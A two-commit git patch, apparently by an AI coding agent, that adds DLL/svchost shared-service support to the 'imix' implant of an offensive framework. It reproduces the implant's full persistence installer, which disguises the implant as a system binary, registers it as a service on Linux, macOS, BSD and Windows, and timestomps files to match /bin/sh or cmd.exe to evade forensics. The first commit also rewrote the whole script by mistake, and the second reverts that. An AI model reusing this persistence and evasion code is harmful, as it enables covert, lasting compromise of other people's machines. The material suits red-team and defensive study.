From 85a7d89945fb3e809f4d0f36bae820460b690f41 Mon Sep 17 00:00:00 2001 From: "google-labs-jules[bot]" <161369871+google-labs-jules[bot]@users.noreply.github.com> Date: Sun, 29 Mar 2026 02:39:26 +0000 Subject: [PATCH 1/2] Update windows service to support DLL and EXE - Detects if running under `svchost.exe` to use `ServiceType::SHARE_PROCESS` instead of `ServiceType::OWN_PROCESS` - Updates `install_service/main.eldritch` to detect `.dll` or `svchost.exe` paths and set `type= share` instead of `type= own` for `sc.exe create` Co-authored-by: hulto <7121375+hulto@users.noreply.github.com> --- .../install_service/main.eldritch | 893 +++++++++--------- implants/imix/src/win_service.rs | 11 +- 2 files changed, 459 insertions(+), 445 deletions(-) diff --git a/implants/imix/install_scripts/install_service/main.eldritch b/implants/imix/install_scripts/install_service/main.eldritch index b7094e790..086ae4085 100644 --- a/implants/imix/install_scripts/install_service/main.eldritch +++ b/implants/imix/install_scripts/install_service/main.eldritch @@ -1,449 +1,454 @@ -systemd_service_template = """[Unit] -Description={{ SERVICE_DESC }} -Requires=network.target -After=network.target - -[Service] -Type=simple -{% if SERVICE_WORKING_DIR is defined %} -WorkingDirectory={{ SERVICE_WORKING_DIR }} -{% endif %} -ExecStart={{ SERVICE_START_CMD }} -{% if SERVICE_STOP_CMD is defined %} -ExecStop={{ SERVICE_STOP_CMD }} -{% endif %} -{% if SERVICE_START_PRE_CMD is defined %} -ExecStartPre={{ SERVICE_START_PRE_CMD }} -{% endif %} -{% if SERVICE_PID_FILE is defined %} -PIDFile={{ SERVICE_PID_FILE }} -{% endif %} - -[Install] -WantedBy=multi-user.target -""" - -sysvinit_template = """#!/bin/sh -### BEGIN INIT INFO -# Provides: {{ SERVICE_NAME }} -# Required-Start: $remote_fs $syslog -# Required-Stop: $remote_fs $syslog -# Default-Start: 2 3 4 5 -# Default-Stop: 0 1 6 -# Short-Description: {{ SERVICE_DESC }} -# Description: {{ SERVICE_DESC }} -### END INIT INFO - -cmd={{ SERVICE_START_CMD }} - -name=`basename $0` -pid_file="/var/run/$name.pid" - -get_pid() { - cat "$pid_file" -} - -is_running() { - [ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1 -} - - -case "$1" in - start) - if is_running; then - echo "Already started" - else - echo "Starting $name" - cd "$dir" - - $cmd & - - echo $! > "$pid_file" - if ! is_running; then - echo "Unable to start, see $stdout_log and $stderr_log" - exit 1 - fi - fi - ;; - stop) - if is_running; then - echo -n "Stopping $name.." - kill `get_pid` - for i in 1 2 3 4 5 6 7 8 9 10 - do - if ! is_running; then - break - fi - - echo -n "." - sleep 1 - done - echo - - if is_running; then - echo "Not stopped; may still be shutting down or shutdown may have failed" - exit 1 - else - echo "Stopped" - if [ -f "$pid_file" ]; then - rm "$pid_file" - fi - fi - else - echo "Not running" - fi - ;; - restart) - $0 stop - if is_running; then - echo "Unable to stop, will not attempt to start" - exit 1 - fi - $0 start - ;; - status) - if is_running; then - echo "Running" - else - echo "Stopped" - exit 1 - fi - ;; - *) - echo "Usage: $0 {start|stop|restart|status}" - exit 1 - ;; -esac - -exit 0 -""" - -launch_daemon_template = """ - - - - Label - {{ service_name }} - Program - {{ bin_path }} - ProgramArguments - - {{ bin_args }} - - KeepAlive - - RunAtLoad - - StartInterval - 300 - - -""" - -bsdinit_template = """ -#!/bin/sh -# -# PROVIDE: {{ service_name }} -# REQUIRE: LOGIN FILESYSTEMS -# KEYWORD: shutdown - -. /etc/rc.subr - -name="{{ service_name }}" -rcvar="{{ service_name }}_enable" - -# The command to start the service +systemd_service_template = """[Unit] +Description={{ SERVICE_DESC }} +Requires=network.target +After=network.target + +[Service] +Type=simple +{% if SERVICE_WORKING_DIR is defined %} +WorkingDirectory={{ SERVICE_WORKING_DIR }} +{% endif %} +ExecStart={{ SERVICE_START_CMD }} +{% if SERVICE_STOP_CMD is defined %} +ExecStop={{ SERVICE_STOP_CMD }} +{% endif %} +{% if SERVICE_START_PRE_CMD is defined %} +ExecStartPre={{ SERVICE_START_PRE_CMD }} +{% endif %} +{% if SERVICE_PID_FILE is defined %} +PIDFile={{ SERVICE_PID_FILE }} +{% endif %} + +[Install] +WantedBy=multi-user.target +""" + +sysvinit_template = """#!/bin/sh +### BEGIN INIT INFO +# Provides: {{ SERVICE_NAME }} +# Required-Start: $remote_fs $syslog +# Required-Stop: $remote_fs $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: {{ SERVICE_DESC }} +# Description: {{ SERVICE_DESC }} +### END INIT INFO + +cmd={{ SERVICE_START_CMD }} + +name=`basename $0` +pid_file="/var/run/$name.pid" + +get_pid() { + cat "$pid_file" +} + +is_running() { + [ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1 +} + + +case "$1" in + start) + if is_running; then + echo "Already started" + else + echo "Starting $name" + cd "$dir" + + $cmd & + + echo $! > "$pid_file" + if ! is_running; then + echo "Unable to start, see $stdout_log and $stderr_log" + exit 1 + fi + fi + ;; + stop) + if is_running; then + echo -n "Stopping $name.." + kill `get_pid` + for i in 1 2 3 4 5 6 7 8 9 10 + do + if ! is_running; then + break + fi + + echo -n "." + sleep 1 + done + echo + + if is_running; then + echo "Not stopped; may still be shutting down or shutdown may have failed" + exit 1 + else + echo "Stopped" + if [ -f "$pid_file" ]; then + rm "$pid_file" + fi + fi + else + echo "Not running" + fi + ;; + restart) + $0 stop + if is_running; then + echo "Unable to stop, will not attempt to start" + exit 1 + fi + $0 start + ;; + status) + if is_running; then + echo "Running" + else + echo "Stopped" + exit 1 + fi + ;; + *) + echo "Usage: $0 {start|stop|restart|status}" + exit 1 + ;; +esac + +exit 0 +""" + +launch_daemon_template = """ + + + + Label + {{ service_name }} + Program + {{ bin_path }} + ProgramArguments + + {{ bin_args }} + + KeepAlive + + RunAtLoad + + StartInterval + 300 + + +""" + +bsdinit_template = """ +#!/bin/sh +# +# PROVIDE: {{ service_name }} +# REQUIRE: LOGIN FILESYSTEMS +# KEYWORD: shutdown + +. /etc/rc.subr + +name="{{ service_name }}" +rcvar="{{ service_name }}_enable" + +# The command to start the service command="/usr/sbin/daemon" -# Additional command arguments if any +# Additional command arguments if any command_args="-f {{ service_start_cmd }}" - -# Load the rc.subr script -load_rc_config $name -: ${name}_enable:=no } - -# Define the function to start the service -start_cmd="${name}_start" - -# Start function -{{ service_name }}_start() { - echo "Starting {{ service_name }}." - # Execute the command to start the service - ${command} ${command_args} & -} - -# Define the function to stop the service -stop_cmd="${name}_stop" - -# Stop function -{{ service_name }}_stop() { - echo "Stopping {{ service_name }}." - # Command to stop the service if required - # For example, if {{ service_name }} supports graceful shutdown: - # killall -SIGTERM {{ service_name }} -} - -# Define the function to check if the service is running -status_cmd="${name}_status" - -# Status function -{{ service_name }}_status() { - # Check if the service is running - # For example, check if the process exists - if pgrep -q -x "{{ service_name }}"; then - echo "{{ service_name }} is not running." - else - echo "{{ service_name }} is not running." - fi -} - -# Define command line arguments to control the service -# e.g., {{ service_name }}_enable="YES" to enable the service - -# Start the service automatically during system startup -{{ service_name }}_enable="YES" - -# Call the rc.subr functions to handle the service -run_rc_command "$1" -""" - - -def is_using_systemd(): - command_get_res = sys.shell("command -v systemctl") - if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): - for canary in ["/run/systemd/system/", "/dev/.run/systemd/", "/dev/.systemd/"]: - if file.is_dir(canary): - return True - return False - - -def is_using_sysvinit(): - command_get_res = sys.shell("command -v update-rc.d") - if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): - return True - return False - - -def is_using_bsdinit(): - # Lol this is how ansible does it too :shrug: - # https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124 + +# Load the rc.subr script +load_rc_config $name +: ${name}_enable:=no } + +# Define the function to start the service +start_cmd="${name}_start" + +# Start function +{{ service_name }}_start() { + echo "Starting {{ service_name }}." + # Execute the command to start the service + ${command} ${command_args} & +} + +# Define the function to stop the service +stop_cmd="${name}_stop" + +# Stop function +{{ service_name }}_stop() { + echo "Stopping {{ service_name }}." + # Command to stop the service if required + # For example, if {{ service_name }} supports graceful shutdown: + # killall -SIGTERM {{ service_name }} +} + +# Define the function to check if the service is running +status_cmd="${name}_status" + +# Status function +{{ service_name }}_status() { + # Check if the service is running + # For example, check if the process exists + if pgrep -q -x "{{ service_name }}"; then + echo "{{ service_name }} is not running." + else + echo "{{ service_name }} is not running." + fi +} + +# Define command line arguments to control the service +# e.g., {{ service_name }}_enable="YES" to enable the service + +# Start the service automatically during system startup +{{ service_name }}_enable="YES" + +# Call the rc.subr functions to handle the service +run_rc_command "$1" +""" + + +def is_using_systemd(): + command_get_res = sys.shell("command -v systemctl") + if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): + for canary in ["/run/systemd/system/", "/dev/.run/systemd/", "/dev/.systemd/"]: + if file.is_dir(canary): + return True + return False + + +def is_using_sysvinit(): + command_get_res = sys.shell("command -v update-rc.d") + if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): + return True + return False + + +def is_using_bsdinit(): + # Lol this is how ansible does it too :shrug: + # https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124 if sys.get_os()['platform'] == "PLATFORM_BSD": - return True - return False - -def get_systemd_dir(): - for dir in ["/usr/lib/systemd/system/", "/lib/systemd/system/"]: - if file.is_dir(dir): - return dir - return False - -def systemd(service_name, service_desc, executable_path, executable_args): - # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") - file.write("/tmp/systemd.service.j2", systemd_service_template) - args = { - "SERVICE_NAME": service_name, - "SERVICE_DESC": service_desc, - "SERVICE_START_CMD": executable_path+" "+executable_args - } - systemd_dir = get_systemd_dir() - if systemd_dir == False: - eprint("No systemd dir found aborting") - return False - file.template("/tmp/systemd.service.j2", systemd_dir+service_name+".service", args, False) - file.remove("/tmp/systemd.service.j2") - - # assets.copy("persist_service/files/payload.elf", executable_path) - sys.shell("chmod +x "+executable_path) - sys.shell(f"touch -r /bin/sh {executable_path}") - sys.shell( - f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service") - - sys.shell("systemctl daemon-reload "+service_name) - sys.shell("systemctl enable "+service_name) - sys.shell("systemctl start "+service_name) - print("systemd installed") - - -def sysvinit(service_name, service_desc, executable_path, executable_args): - # assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2") - file.write("/tmp/svc.sh.j2", sysvinit_template) - args = { - "SERVICE_NAME": service_name, - "SERVICE_DESC": service_desc, - "SERVICE_START_CMD": executable_path+" "+executable_args - } - file.template("/tmp/svc.sh.j2", "/etc/init.d/"+service_name, args, False) - file.remove("/tmp/svc.sh.j2") - sys.shell("chmod +x "+"/etc/init.d/"+service_name) - - # assets.copy("persist_service/files/payload.elf", executable_path) - sys.shell("chmod +x "+executable_path) - sys.shell(f"touch -r /bin/sh {executable_path}") - sys.shell(f"touch -r /bin/sh /etc/init.d/{service_name}") - - sys.shell("update-rc.d "+service_name+" defaults") - sys.shell("service "+service_name+" start") - print("sysvinit installed") - - -def bsdinit(service_name, service_desc, executable_path, executable_args): - startup_dir = "/usr/local/etc/rc.d/" - if not file.is_dir(startup_dir): - print(startup_dir+" not found") - return - - file.write("/tmp/svc.sh.j2", bsdinit_template) - args = { - "service_name": service_name, - "service_desc": service_desc, - "service_start_cmd": executable_path+" "+executable_args - } - file.template("/tmp/svc.sh.j2", startup_dir + - service_name+".sh", args, False) - file.remove("/tmp/svc.sh.j2") - - sys.shell("chmod +x "+startup_dir+service_name+".sh") - sys.shell("chmod +x "+executable_path) - sys.shell("service "+service_name+".sh start") - - print("bsdinit installed") - - -def launch_daemon(service_name, executable_path, executable_args): - # assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2") - file.write("/tmp/plist.j2", launch_daemon_template) - args = { - "service_name": "com.testing."+service_name, - "bin_path": executable_path, - "bin_args": executable_args - } - file.template("/tmp/plist.j2", "/Library/LaunchDaemons/" + - service_name+".plist", args, False) - file.remove("/tmp/plist.j2") - - # assets.copy("persist_service/files/payload.macho", executable_path) - sys.shell("chmod +x "+executable_path) - sys.shell("launchctl load -w /Library/LaunchDaemons/"+service_name+".plist") - print("Launch daemon installed") - - -def windows_service_manager(service_name, service_display_name, service_description, executable_path, executable_args): - binpath = executable_path - if executable_args != "": - binpath = executable_path + " " + executable_args - create_res = sys.shell("sc.exe create "+service_name+" binpath= \""+binpath+ - "\" displayname=\""+service_display_name+"\" start= auto type= own") - if 'ERROR' in create_res['stdout'] or 'USAGE' in create_res['stdout'] or create_res['stderr'] != "": - print("Failed to create service:\n"+str(create_res)+"\n") - print("\n") - return - - desc_res = sys.shell("sc.exe description "+service_name+" \""+service_description+"\"") - if 'ERROR' in desc_res['stdout'] or 'USAGE' in create_res['stdout'] or desc_res['stderr'] != "": - print("Failed to set service description:\n"+desc_res+"\n") - print("\n") - return - - start_res = sys.shell("sc.exe start "+service_name) - if 'ERROR' in start_res['stdout'] or 'USAGE' in create_res['stdout'] or start_res['stderr'] != "": - print("Failed to start service:\n"+str(start_res)+"\n") - print("\n") - return - - -def persist_service(service_name, service_desc, executable_path, executable_args, windows_display_name): - src_path = process.info()['exe'] - if sys.is_linux(): - file.copy(src_path, executable_path) - if is_using_systemd(): - systemd(service_name, service_desc, - executable_path, executable_args) - elif is_using_sysvinit(): - sysvinit(service_name, service_desc, - executable_path, executable_args) - elif sys.is_macos(): - file.copy(src_path, executable_path) - launch_daemon(service_name, executable_path, executable_args) - elif sys.is_windows(): - file.copy(src_path, executable_path) - sys.shell(f"""powershell /c "\$src = Get-Item 'C:\\Windows\\System32\\cmd.exe'; \$tgt = Get-Item '{executable_path}'; $tgt.CreationTime = $src.CreationTime; $tgt.LastWriteTime = $src.LastWriteTime; $tgt.LastAccessTime = $src.LastAccessTime" """) - windows_service_manager( - service_name, windows_display_name, service_desc, executable_path, executable_args) + return True + return False + +def get_systemd_dir(): + for dir in ["/usr/lib/systemd/system/", "/lib/systemd/system/"]: + if file.is_dir(dir): + return dir + return False + +def systemd(service_name, service_desc, executable_path, executable_args): + # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") + file.write("/tmp/systemd.service.j2", systemd_service_template) + args = { + "SERVICE_NAME": service_name, + "SERVICE_DESC": service_desc, + "SERVICE_START_CMD": executable_path+" "+executable_args + } + systemd_dir = get_systemd_dir() + if systemd_dir == False: + eprint("No systemd dir found aborting") + return False + file.template("/tmp/systemd.service.j2", systemd_dir+service_name+".service", args, False) + file.remove("/tmp/systemd.service.j2") + + # assets.copy("persist_service/files/payload.elf", executable_path) + sys.shell("chmod +x "+executable_path) + sys.shell(f"touch -r /bin/sh {executable_path}") + sys.shell( + f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service") + + sys.shell("systemctl daemon-reload "+service_name) + sys.shell("systemctl enable "+service_name) + sys.shell("systemctl start "+service_name) + print("systemd installed") + + +def sysvinit(service_name, service_desc, executable_path, executable_args): + # assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2") + file.write("/tmp/svc.sh.j2", sysvinit_template) + args = { + "SERVICE_NAME": service_name, + "SERVICE_DESC": service_desc, + "SERVICE_START_CMD": executable_path+" "+executable_args + } + file.template("/tmp/svc.sh.j2", "/etc/init.d/"+service_name, args, False) + file.remove("/tmp/svc.sh.j2") + sys.shell("chmod +x "+"/etc/init.d/"+service_name) + + # assets.copy("persist_service/files/payload.elf", executable_path) + sys.shell("chmod +x "+executable_path) + sys.shell(f"touch -r /bin/sh {executable_path}") + sys.shell(f"touch -r /bin/sh /etc/init.d/{service_name}") + + sys.shell("update-rc.d "+service_name+" defaults") + sys.shell("service "+service_name+" start") + print("sysvinit installed") + + +def bsdinit(service_name, service_desc, executable_path, executable_args): + startup_dir = "/usr/local/etc/rc.d/" + if not file.is_dir(startup_dir): + print(startup_dir+" not found") + return + + file.write("/tmp/svc.sh.j2", bsdinit_template) + args = { + "service_name": service_name, + "service_desc": service_desc, + "service_start_cmd": executable_path+" "+executable_args + } + file.template("/tmp/svc.sh.j2", startup_dir + + service_name+".sh", args, False) + file.remove("/tmp/svc.sh.j2") + + sys.shell("chmod +x "+startup_dir+service_name+".sh") + sys.shell("chmod +x "+executable_path) + sys.shell("service "+service_name+".sh start") + + print("bsdinit installed") + + +def launch_daemon(service_name, executable_path, executable_args): + # assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2") + file.write("/tmp/plist.j2", launch_daemon_template) + args = { + "service_name": "com.testing."+service_name, + "bin_path": executable_path, + "bin_args": executable_args + } + file.template("/tmp/plist.j2", "/Library/LaunchDaemons/" + + service_name+".plist", args, False) + file.remove("/tmp/plist.j2") + + # assets.copy("persist_service/files/payload.macho", executable_path) + sys.shell("chmod +x "+executable_path) + sys.shell("launchctl load -w /Library/LaunchDaemons/"+service_name+".plist") + print("Launch daemon installed") + + +def windows_service_manager(service_name, service_display_name, service_description, executable_path, executable_args): + binpath = executable_path + if executable_args != "": + binpath = executable_path + " " + executable_args + + svc_type = "own" + if "svchost.exe" in executable_path.lower() or executable_path.lower().endswith(".dll"): + svc_type = "share" + + create_res = sys.shell("sc.exe create "+service_name+" binpath= \""+binpath+ + "\" displayname=\""+service_display_name+"\" start= auto type= "+svc_type) + if 'ERROR' in create_res['stdout'] or 'USAGE' in create_res['stdout'] or create_res['stderr'] != "": + print("Failed to create service:\n"+str(create_res)+"\n") + print("\n") + return + + desc_res = sys.shell("sc.exe description "+service_name+" \""+service_description+"\"") + if 'ERROR' in desc_res['stdout'] or 'USAGE' in create_res['stdout'] or desc_res['stderr'] != "": + print("Failed to set service description:\n"+desc_res+"\n") + print("\n") + return + + start_res = sys.shell("sc.exe start "+service_name) + if 'ERROR' in start_res['stdout'] or 'USAGE' in create_res['stdout'] or start_res['stderr'] != "": + print("Failed to start service:\n"+str(start_res)+"\n") + print("\n") + return + + +def persist_service(service_name, service_desc, executable_path, executable_args, windows_display_name): + src_path = process.info()['exe'] + if sys.is_linux(): + file.copy(src_path, executable_path) + if is_using_systemd(): + systemd(service_name, service_desc, + executable_path, executable_args) + elif is_using_sysvinit(): + sysvinit(service_name, service_desc, + executable_path, executable_args) + elif sys.is_macos(): + file.copy(src_path, executable_path) + launch_daemon(service_name, executable_path, executable_args) + elif sys.is_windows(): + file.copy(src_path, executable_path) + sys.shell(f"""powershell /c "\$src = Get-Item 'C:\\Windows\\System32\\cmd.exe'; \$tgt = Get-Item '{executable_path}'; $tgt.CreationTime = $src.CreationTime; $tgt.LastWriteTime = $src.LastWriteTime; $tgt.LastAccessTime = $src.LastAccessTime" """) + windows_service_manager( + service_name, windows_display_name, service_desc, executable_path, executable_args) elif sys.get_os()['platform'] == "PLATFORM_BSD": - file.copy(src_path, executable_path) - if is_using_bsdinit(): - bsdinit(service_name, service_desc, - executable_path, executable_args) - else: - print("OS not supported") - -def is_installed(paths): - for p in process.list(): - for path in paths: - if p['path'] == path: - return True - return False - -def get_executable_paths(name): - paths = [] - if sys.is_linux(): - # Systemd internal service - if name.startswith("systemd"): - systemd_dir = get_systemd_dir() - return [f"{systemd_dir}{name}"] - # Check /usr - if file.is_dir("/usr"): - return [f"/usr/bin/{name}", f"/usr/sbin/{name}"] - else: - return [f"/bin/{name}", f"/sbin/{name}"] - return subdir+name - elif sys.is_macos(): - return[ "/var/root/"+name] - elif sys.is_windows(): - return ["C:\\Windows\\System32\\"+name+".exe"] # ok + file.copy(src_path, executable_path) + if is_using_bsdinit(): + bsdinit(service_name, service_desc, + executable_path, executable_args) + else: + print("OS not supported") + +def is_installed(paths): + for p in process.list(): + for path in paths: + if p['path'] == path: + return True + return False + +def get_executable_paths(name): + paths = [] + if sys.is_linux(): + # Systemd internal service + if name.startswith("systemd"): + systemd_dir = get_systemd_dir() + return [f"{systemd_dir}{name}"] + # Check /usr + if file.is_dir("/usr"): + return [f"/usr/bin/{name}", f"/usr/sbin/{name}"] + else: + return [f"/bin/{name}", f"/sbin/{name}"] + return subdir+name + elif sys.is_macos(): + return[ "/var/root/"+name] + elif sys.is_windows(): + return ["C:\\Windows\\System32\\"+name+".exe"] # ok elif sys.get_os()['platform'] == "PLATFORM_BSD": - return ["/bin/"+name] - return False - - -def parse_and_persist(config_data): - configs = config_data['service_configs'] - if len(configs) < 1: - print("Please add a service_config to your imix config") - else: - for conf in configs: - paths = get_executable_paths(conf['executable_name']) - if is_installed(paths): - return - index = random.int(0, len(configs)) - conf = configs[index] - paths = get_executable_paths(conf['executable_name']) - persist_service( - conf['name'], - conf['description'], - paths[random.int(0, len(paths))], - conf['executable_args'], - conf['windows_display_name'], - ) - - -""" -This script randomly chooses a services_configs to install a service -On the local system. The config file specified for the install will be used -by the imix agent. The imix binary itself will be copied to the install -location. The original imix binary will still exist so you may wish to delete -it after running the install. - -./imix install -""" - - -def main(): - config_data = { - "service_configs": [ - ] - } - parse_and_persist(config_data) - print("Implant copied, you may now delete this binary.") - - -main() + return ["/bin/"+name] + return False + + +def parse_and_persist(config_data): + configs = config_data['service_configs'] + if len(configs) < 1: + print("Please add a service_config to your imix config") + else: + for conf in configs: + paths = get_executable_paths(conf['executable_name']) + if is_installed(paths): + return + index = random.int(0, len(configs)) + conf = configs[index] + paths = get_executable_paths(conf['executable_name']) + persist_service( + conf['name'], + conf['description'], + paths[random.int(0, len(paths))], + conf['executable_args'], + conf['windows_display_name'], + ) + + +""" +This script randomly chooses a services_configs to install a service +On the local system. The config file specified for the install will be used +by the imix agent. The imix binary itself will be copied to the install +location. The original imix binary will still exist so you may wish to delete +it after running the install. + +./imix install +""" + + +def main(): + config_data = { + "service_configs": [ + ] + } + parse_and_persist(config_data) + print("Implant copied, you may now delete this binary.") + + +main() diff --git a/implants/imix/src/win_service.rs b/implants/imix/src/win_service.rs index c8b305781..0ced9cccd 100644 --- a/implants/imix/src/win_service.rs +++ b/implants/imix/src/win_service.rs @@ -25,8 +25,17 @@ pub fn handle_service_main(_arguments: Vec) { // Register system service event handler let status_handle = service_control_handler::register("imix", event_handler).unwrap(); + let is_dll = std::env::current_exe() + .map(|p| p.to_string_lossy().to_lowercase().contains("svchost.exe")) + .unwrap_or(false); + let service_type = if is_dll { + ServiceType::SHARE_PROCESS + } else { + ServiceType::OWN_PROCESS + }; + let next_status = ServiceStatus { - service_type: ServiceType::OWN_PROCESS, + service_type, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), From c2cd8b8df34cf1bf67e0006b34e0b184b3d073db Mon Sep 17 00:00:00 2001 From: "google-labs-jules[bot]" <161369871+google-labs-jules[bot]@users.noreply.github.com> Date: Sun, 29 Mar 2026 12:33:04 +0000 Subject: [PATCH 2/2] Update windows service to support DLL and EXE - Dynamically detect if running under `svchost.exe` to use `ServiceType::SHARE_PROCESS` instead of `ServiceType::OWN_PROCESS` for DLL services. - Reverted unintentional modifications to `main.eldritch` install script. Co-authored-by: hulto <7121375+hulto@users.noreply.github.com> --- .../imix/install_scripts/install_service/main.eldritch | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/implants/imix/install_scripts/install_service/main.eldritch b/implants/imix/install_scripts/install_service/main.eldritch index 086ae4085..617336ddd 100644 --- a/implants/imix/install_scripts/install_service/main.eldritch +++ b/implants/imix/install_scripts/install_service/main.eldritch @@ -330,13 +330,8 @@ def windows_service_manager(service_name, service_display_name, service_descript binpath = executable_path if executable_args != "": binpath = executable_path + " " + executable_args - - svc_type = "own" - if "svchost.exe" in executable_path.lower() or executable_path.lower().endswith(".dll"): - svc_type = "share" - create_res = sys.shell("sc.exe create "+service_name+" binpath= \""+binpath+ - "\" displayname=\""+service_display_name+"\" start= auto type= "+svc_type) + "\" displayname=\""+service_display_name+"\" start= auto type= own") if 'ERROR' in create_res['stdout'] or 'USAGE' in create_res['stdout'] or create_res['stderr'] != "": print("Failed to create service:\n"+str(create_res)+"\n") print("\n")